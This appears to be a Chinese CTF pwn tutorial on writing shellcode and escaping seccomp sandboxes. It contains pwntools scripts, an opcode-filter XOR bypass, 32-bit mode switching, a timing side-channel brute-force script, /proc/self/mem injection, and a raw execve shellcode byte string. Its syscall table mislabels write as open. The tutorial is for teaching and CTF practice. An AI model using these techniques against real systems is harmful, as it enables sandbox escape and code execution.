0x00 shellcode & seccomp
简单整理下shellcode类型的题目
shellcode原理
shellcode 本意是指 一段字节码, 输入以后程序会运行这段代码, 达到getshell的目的,
ctf pwn题中我们的目的是读取flag,
使用shellcode的话也分为两种情况,
- getshell
- 使用open read write (orw)
其实两者的原理是一致的, 都是通过系统调用实现对应功能,
shellcode使用场景
重要的其实就是, 要能有个可写可执行的地址, 另该我们可以运行到这个地址去执行我们的输入, 就可以使用shellcode,
对于栈题目来说,一般都是使用rop, 堆题目一般通过控制hook位来getshell, 但是开启沙箱使用orw的使用一般会考虑shellcode/srop,
另外一些就是比较明显的考察shellcode编写的题目, 比较直白, 可能就如下:
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
read(0, shellcode, 1024);
/* check */
sc = shellcode;
sc();
一般这种也会读取以后对shellcode本身增加各种限制, 或者使用沙盒对系统调用进行限制。
0x01 对shellcode本身无限制
就普通的getshell或者orw,
其实可以直接使用pwntools的shellcraft, 或者生成以后自己修改下,
使用pwntools中的asm函数, 将汇编shellcode编译, 输出为bytes类型,
context.arch = "amd64"
# 这里要指定, 不然asm默认使用i386, 编译会报错,
asm("mov rax, 1")
这个shellcraft工具, 使用比较多的是以下几个,
其实要指定对应的构架, 这里用amd64代替,
from pwn import *
# execve(path='/bin///sh', argv=['sh'], envp=0)
shellcraft.amd64.linux.sh() # getshell
# open(file='flag', oflag=0, mode=0)
shellcraft.amd64.linux.open("flag")
# read(fd, buf, count)
shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)
# write(fd, buf, count)
shellcraft.amd64.linux.write(fd=1, buffer='rsp', count=8)
对应的题目: 2018 TDCTF sandbox1.
0x02 对shellcode本身的限制
限制shellcode 可打印
可能存在 可打印, 不允许符号, 仅字母等几种情况, 这里我们不进行分类, 简单介绍几种处理手段,
pwntools中内置一个加密shellcode的工具, pwntools encoders, 但是这个工具使用起来, 效果比较一般, 另一个是shellcode_encode , 可打印, 但是不能仅字母,
推荐一下两个工具:
一个是ae64, 可以比较灵活的控制寄存器, 但是shellcode长度长一些, 另一个是alpha3, 这里建议直接使用taqini师傅修改编译好的alpha3,
使用:
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
或者直接使用写好的脚本:
./shellcode_x64.sh rax
其中指定rax为shellcode基址, 然后同目录下的shellcode
文件保存shellcode字节流,
我们使用pwntools生成:
python sc.py > shellcode
脚本内:
from pwn import *
context.arch='amd64'
sc = shellcraft.sh() # 示例
print(asm(sc))
题目: qwb 2021 shellcode.
限制shellcode长度
一般需要观察运行到shellcode时的, 尽量不做改动,
有一下两种思路:
- 在限制内完成getshell, 需要比较精妙的构造,
- 构造shellcode拓展, 再构造一次读取和跳转,这次自己构造的shellcode就没有限制了
限制shellcode长度和可打印
一般这种需要手写shellcode, 使用工具生成的长度会不够
使用纯字符的汇编指令完成对shellcode的编写,
可以参考
不允许出现 某些opcode
比如不允许出现syscall
(\x0f\x05
), 其实可以算作全字符shellcode同类型的变体,检测如下:
for(int i=0 ; i<1024-1; i++) {
if (shellcode[i] == 0x0f && shellcode[i+1] == 0x05) {
printf("[*] blocked !\n");
return -1;
}
}
其实这个绕过和绕过shellcode可打印是一样的, 因为shellcode的内存是rwx
, 直接进行修改即可。
一般会利用一个0x9090 ^ 0x959f=0x0f05
, 如下:
xor word ptr[rip], 0x959f
nop
nop // 0x909
因此可以这样写:
sc = shellcraft.amd64.open("/flag")
sc += shellcraft.amd64.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.write(1, "rsp", 0x100)
# replace (syscall) to (nop; nop)
sc_asm = asm(sc, arch="amd64").replace("\x0f\x05", "\x90\x90")
# add xor logic before (nop; nop)
xor = '''
xor word ptr[rip], 0x959f
nop
nop
'''
xor_sc = asm(xor, arch="amd64")
sc_asm = sc_asm.replace("\x90\x90", xor_sc)
可以参考 TDctf 2018 sandbox3.
0x03 seccomp
开启c沙盒的情况, shellcode绕过沙箱的整理,
这里提一下seccomp的实现, 其实是内核层面过滤了对应的系统调用, 但是这个过滤指针对eax的值, 因此也出现很多绕过方案,
这里使用seccomp-tool进行沙箱的检测,
seccomp-tools dump ./bin
orw
最常见的情况, 不能getshell, 但我们ctf是为了读取flag, 因此可以使用open read write 函数进行利用,
大概分为两种情况,
- 封了execve
- 只允许open read write
第一种情况其实可以使用rop调用glibc中的open read write即可,
int open(char *filename);
int read(int fd, void *buf, size_t size);
int write(int fd, void *buf, size_t size);
这种其实使用简单的rop不用shellcode也可,
但是因为glibc中的open并不是调用open的系统掉用, 而是openat, 因此第二种情况只能使用系统调用(syscall/int 80)完成,
这里参考系统调用表:
// 64:
int rax open(rax=2, rdi=*filename, rsi=flag, rdx=mod);
int rax read(rax=0, rdi=fd, rsi=*buf, rdx=count);
int rax open(rax=2, rdi=fd, rsi=*buf, rdx=count);
// 32:
int eax open(eax=5, ebx=*filename, ecx=flag, edx=mod);
int eax read(eax=3, ebx=fd, ecx=*buf, edx=count);
int eax open(eax=4, ebx=fd, ecx=*buf, edx=count);
注意open的系统调用有三个参数, 有时候不成功就是因为参数没设置, 一般设置为0, 0, 即可,
常规shellcode题目了,可以参考2018_TDctf sandbox2.
有时候会禁了open反而留下openat, 这时候我们可以直接使用openat,也是一样的。
orw不够
当题目没有提供完整的三个syscall的时候,
因为seccomp其实是检查系统调用时的rax的值, 而64 32位的系统调用表不同, 因此我们可以切换到32位来获得到另一些系统调用, 有可能就补齐了三个函数
使用32位模式的方案有两种,
- retfq函数切换到32位模式, 可以用于没有对构架限制的情况
- qwb 2021 shellcode.
- syscall_number |= X32_SYSCALL_BIT (0x40000000)
- TDctf2018 sandbox5.
具体还要看题目的限制。对应两者分别有以下的限制:
对于构架的限制:
对于函数调用号的范围检测
没有wirte
如果使用了32位模式仍然不能得到write函数的话,
可以使用类似测信道的方式, 写入shellcode, 对读取进来的flag某一位检测, 使用cmp
+jz
的判断语句, 如果正确则死循环,
然后通过pwntools进行爆破, 得到flag,
flag = []
idx = 0
while True:
for ch in range(32, 127):
cn = process("./bin")
exp(idx, ch)
start = time.time()
try:
cn.recv(timeout=2)
except:
...
cn.close()
end = time.time()
if end - start > 1.5:
flag.append(ch)
print(bytes(flag))
break;
else:
print(bytes(flag))
break
idx += 1
如果有alarm的话也可以尝试使用alarm。通过alarm可以每一位单独获取, 那么可以用多线程。
context.os='linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw']
def exp(idx):
cn = process("./bin")
....
start = time.time()
cn.sendline(sc2)
try:
cn.recv()
except:
...
end = time.time()
cn.close()
pass_time = int(end-start)
flag[idx] = pass_time
print(bytes(flag))
pool = []
flag = [0]*0x20
for i in range(0x20):
t = threading.Thread(target=exp, args=(i, ))
pool.append(t)
t.start()
for i in pool:
t.join()
print(bytes(flag))
lseek配合/proc/self/mem
注入shellcode
这里是另一个思路, 利用父子进程和/proc/self/mem
的操作,
调用fork形成父子进程以后, 父进程再进行seccomp设置, 因此子进程不再沙盒内, 我们使用有限的系统调用向子进程内注入代码, 并利用子进程getshell,
具体题目是: googlectf 2020: onlywrtie.
/proc/self/mem
注入代码应该算是常规操作了,rwctf 2022 QLaaS 也是这样的操作, 不过这个是向自身注入shellcode。 而且注入libc以后如果rip落点不固定,还要再配合滑板shellcode。
unsigned char shellcode[0x27a50 + 0x100 + 0x100];
unsigned char sc[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
memset(shellcode, 0x90, 0x27a50 + 0x100);
memcpy(shellcode + 0x27a50 + 0x100, sc, sizeof(sc));
lseek(mem, addr, SEEK_SET);
write(mem, shellcode, sizeof(shellcode));
0x04 其他情况
滑板shellcode
相当于 [nop]*n + shellcode
, 用大量nop填充, 计量覆盖rip随机的所有落点, rip落到nop,一路流到shellcode。
这个指的主要是nop指令,一般用在劫持程序流的利用中,劫持的指针不确定落点的时候,在可能的落点填充大量nop当作滑板,只要rip落在其中,就会一直运行nop 一直向下,然后落到最后的shellcode中,执行我们的shellcode。
单纯的滑板shellcode题目应该是 rwctf2022 QLaaS.
这个技术一般是用来配合堆喷等手段的。